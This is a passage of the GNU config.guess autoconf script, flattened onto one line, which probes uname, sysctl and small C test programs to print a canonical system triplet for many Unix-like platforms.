GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Per Bothner . # Please send patches to . Submit a context # diff and a properly formatted ChangeLog entry. # # This script attempts to guess a canonical system name similar to # config.sub. If it succeeds, it prints the system name on stdout, and # exits with 0. Otherwise, it exits with 1. # # The plan is that this can be called by configure scripts if you # don't specify an explicit build system type. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] Output the configuration name of the system \`$me' is run on. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.guess ($timestamp) Originally written by Per Bothner. Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit 0 ;; --version | -v ) echo "$version" ; exit 0 ;; --help | --h* | -h ) echo "$usage"; exit 0 ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" >&2 exit 1 ;; * ) break ;; esac done if test $# != 0; then echo "$me: too many arguments$help" >&2 exit 1 fi trap 'exit 1' 1 2 15 # CC_FOR_BUILD -- compiler used by this script. Note that the use of a # compiler to aid in system detection is discouraged as it requires # temporary files to be created and, as you can see below, it is a # headache to deal with in a portable fashion. # Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still # use `HOST_CC' if defined, but it is deprecated. # Portable tmp directory creation inspired by the Autoconf team. set_cc_for_build=' trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; : ${TMPDIR=/tmp} ; { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; dummy=$tmp/dummy ; tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; case $CC_FOR_BUILD,$HOST_CC,$CC in ,,) echo "int x;" > $dummy.c ; for c in cc gcc c89 c99 ; do if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then CC_FOR_BUILD="$c"; break ; fi ; done ; if test x"$CC_FOR_BUILD" = x ; then CC_FOR_BUILD=no_compiler_found ; fi ;; ,,*) CC_FOR_BUILD=$CC ;; ,*,*) CC_FOR_BUILD=$HOST_CC ;; esac ;' # This is needed to find uname on a Pyramid OSx when run in the BSD universe. # (ghazi@noc.rutgers.edu 1994-08-24) if (test -f /.attbin/uname) >/dev/null 2>&1 ; then PATH=$PATH:/.attbin ; export PATH fi UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown # Note: order is significant - the case branches are not exclusive. case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in *:NetBSD:*:*) # NetBSD (nbsd) targets should (where applicable) match one or # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently # switched to ELF, *-*-netbsd* would select the old # object file format. This provides both forward # compatibility and a consistent mechanism for selecting the # object file format. # # Note: NetBSD doesn't particularly care about the vendor # portion of the name. We always set it to "unknown". sysctl="sysctl -n hw.machine_arch" UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ /usr/sbin/$sysctl 2>/dev/null || echo unknown)` case "${UNAME_MACHINE_ARCH}" in armeb) machine=armeb-unknown ;; arm*) machine=arm-unknown ;; sh3el) machine=shl-unknown ;; sh3eb) machine=sh-unknown ;; *) machine=${UNAME_MACHINE_ARCH}-unknown ;; esac # The Operating System including object format, if it has switched # to ELF recently, or will in the future. case "${UNAME_MACHINE_ARCH}" in arm*|i386|m68k|ns32k|sh3*|sparc|vax) eval $set_cc_for_build if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep __ELF__ >/dev/null then # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). # Return netbsd for either. FIX? os=netbsd else os=netbsdelf fi ;; *) os=netbsd ;; esac # The OS release # Debian GNU/NetBSD machines have a different userland, and # thus, need a distinct triplet. However, they do not need # kernel version information, so it can be replaced with a # suitable tag, in the style of linux-gnu. case "${UNAME_VERSION}" in Debian*) release='-gnu' ;; *) release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` ;; esac # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: # contains redundant information, the shorter form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. echo "${machine}-${os}${release}" exit 0 ;; amd64:OpenBSD:*:*) echo x86_64-unknown-openbsd${UNAME_RELEASE} exit 0 ;; amiga:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; cats:OpenBSD:*:*) echo arm-unknown-openbsd${UNAME_RELEASE} exit 0 ;; hp300:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; luna88k:OpenBSD:*:*) echo m88k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mac68k:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; macppc:OpenBSD:*:*) echo powerpc-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvme68k:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvme88k:OpenBSD:*:*) echo m88k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; mvmeppc:OpenBSD:*:*) echo powerpc-unknown-openbsd${UNAME_RELEASE} exit 0 ;; sgi:OpenBSD:*:*) echo mips64-unknown-openbsd${UNAME_RELEASE} exit 0 ;; sun3:OpenBSD:*:*) echo m68k-unknown-openbsd${UNAME_RELEASE} exit 0 ;; *:OpenBSD:*:*) echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} exit 0 ;; *:ekkoBSD:*:*) echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} exit 0 ;; macppc:MirBSD:*:*) echo powerppc-unknown-mirbsd${UNAME_RELEASE} exit 0 ;; *:MirBSD:*:*) echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} exit 0 ;; alpha:OSF1:*:*) case $UNAME_RELEASE in *4.0) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` ;; *5.*) UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` ;; esac # According to Compaq, /usr/sbin/psrinfo has been available on # OSF/1 and Tru64 systems produced since 1995. I hope that # covers most systems running today. This code pipes the CPU # types through head -n 1, so we only detect the type of CPU 0. ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` case "$ALPHA_CPU_TYPE" in "EV4 (21064)") UNAME_MACHINE="alpha" ;; "EV4.5 (21064)") UNAME_MACHINE="alpha" ;; "LCA4 (21066/21068)") UNAME_MACHINE="alpha" ;; "EV5 (21164)") UNAME_MACHINE="alphaev5" ;; "EV5.6 (21164A)") UNAME_MACHINE="alphaev56" ;; "EV5.6 (21164PC)") UNAME_MACHINE="alphapca56" ;; "EV5.7 (21164PC)") UNAME_MACHINE="alphapca57" ;; "EV6 (21264)") UNAME_MACHINE="alphaev6" ;; "EV6.7 (21264A)") UNAME_MACHINE="alphaev67" ;; "EV6.8CB (21264C)") UNAME_MACHINE="alphaev68" ;; "EV6.8AL (21264B)") UNAME_MACHINE="alphaev68" ;; "EV6.8CX (21264D)") UNAME_MACHINE="alphaev68" ;; "EV6.9A (21264/EV69A)") UNAME_MACHINE="alphaev69" ;; "EV7 (21364)") UNAME_MACHINE="alphaev7" ;; "EV7.9 (21364A)") UNAME_MACHINE="alphaev79" ;; esac # A Pn.n version is a patched version. # A Vn.n version is a released version. # A Tn.n version is a released field test version. # A Xn.n version is an unreleased experimental baselevel. # 1.2 uses "1.2" for uname -r. echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` exit 0 ;; Alpha\ *:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # Should we change UNAME_MACHINE based on the output of uname instead # of the specific Alpha model? echo alpha-pc-interix exit 0 ;; 21064:Windows_NT:50:3) echo alpha-dec-winnt3.5 exit 0 ;; Amiga*:UNIX_System_V:4.0:*) echo m68k-unknown-sysv4 exit 0;; *:[Aa]miga[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-amigaos exit 0 ;; *:[Mm]orph[Oo][Ss]:*:*) echo ${UNAME_MACHINE}-unknown-morphos exit 0 ;; *:OS/390:*:*) echo i370-ibm-openedition exit 0 ;; *:OS400:*:*) echo powerpc-ibm-os400 exit 0 ;; arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) echo arm-acorn-riscix${UNAME_RELEASE} exit 0;; SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) echo hppa1.1-hitachi-hiuxmpp exit 0;; Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit 0 ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit 0 ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit 0 ;; DRS?6000:UNIX_SV:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7 && exit 0 ;; esac ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; i86pc:SunOS:5.*:*) echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit 0 ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit 0 ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit 0 ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit 0 ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit 0 ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit 0 ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit 0 ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit 0 ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit 0 ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit 0 ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit 0 ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit 0 ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit 0 ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit 0 ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c \ && $dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \ && exit 0 echo mips-mips-riscos${UNAME_RELEASE} exit 0 ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit 0 ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit 0 ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit 0 ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit 0 ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit 0 ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit 0 ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit 0 ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit 0 ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit 0 ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit 0 ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit 0 ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit 0 ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit 0 ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo rs6000-ibm-aix3.2.5 elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit 0 ;; *:AIX:*:[45]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit 0 ;; *:AIX:*:*) echo rs6000-ibm-aix exit 0 ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit 0 ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit 0 ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit 0 ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit 0 ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit 0 ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit 0 ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then # avoid double evaluation of $set_cc_for_build test -n "$CC_FOR_BUILD" || eval $set_cc_for_build if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E -) | grep __LP64__ >/dev/null then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit 0 ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit 0 ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && $dummy && exit 0 echo unknown-hitachi-hiuxwe2 exit 0 ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit 0 ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit 0 ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit 0 ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit 0 ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit 0 ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit 0 ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit 0 ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit 0 ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit 0 ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit 0 ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit 0 ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit 0 ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit 0 ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit 0 ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit 0 ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit 0 ;; *:FreeBSD:*:*) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit 0 ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit 0 ;; i*:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit 0 ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit 0 ;; x86:Interix*:[34]*) echo i586-pc-interix${UNAME_RELEASE}|sed -e 's/\..*//' exit 0 ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit 0 ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit 0 ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit 0 ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit 0 ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit 0 ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit 0 ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit 0 ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit 0 ;; arm*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit 0 ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit 0 ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit 0 ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit 0 ;; mips:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips #undef mipsel #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mipsel #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef mips64 #undef mips64el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=mips64el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=mips64 #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^CPU=` test x"${CPU}" != x && echo "${CPU}-unknown-linux-gnu" && exit 0 ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit 0 ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit 0 ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) 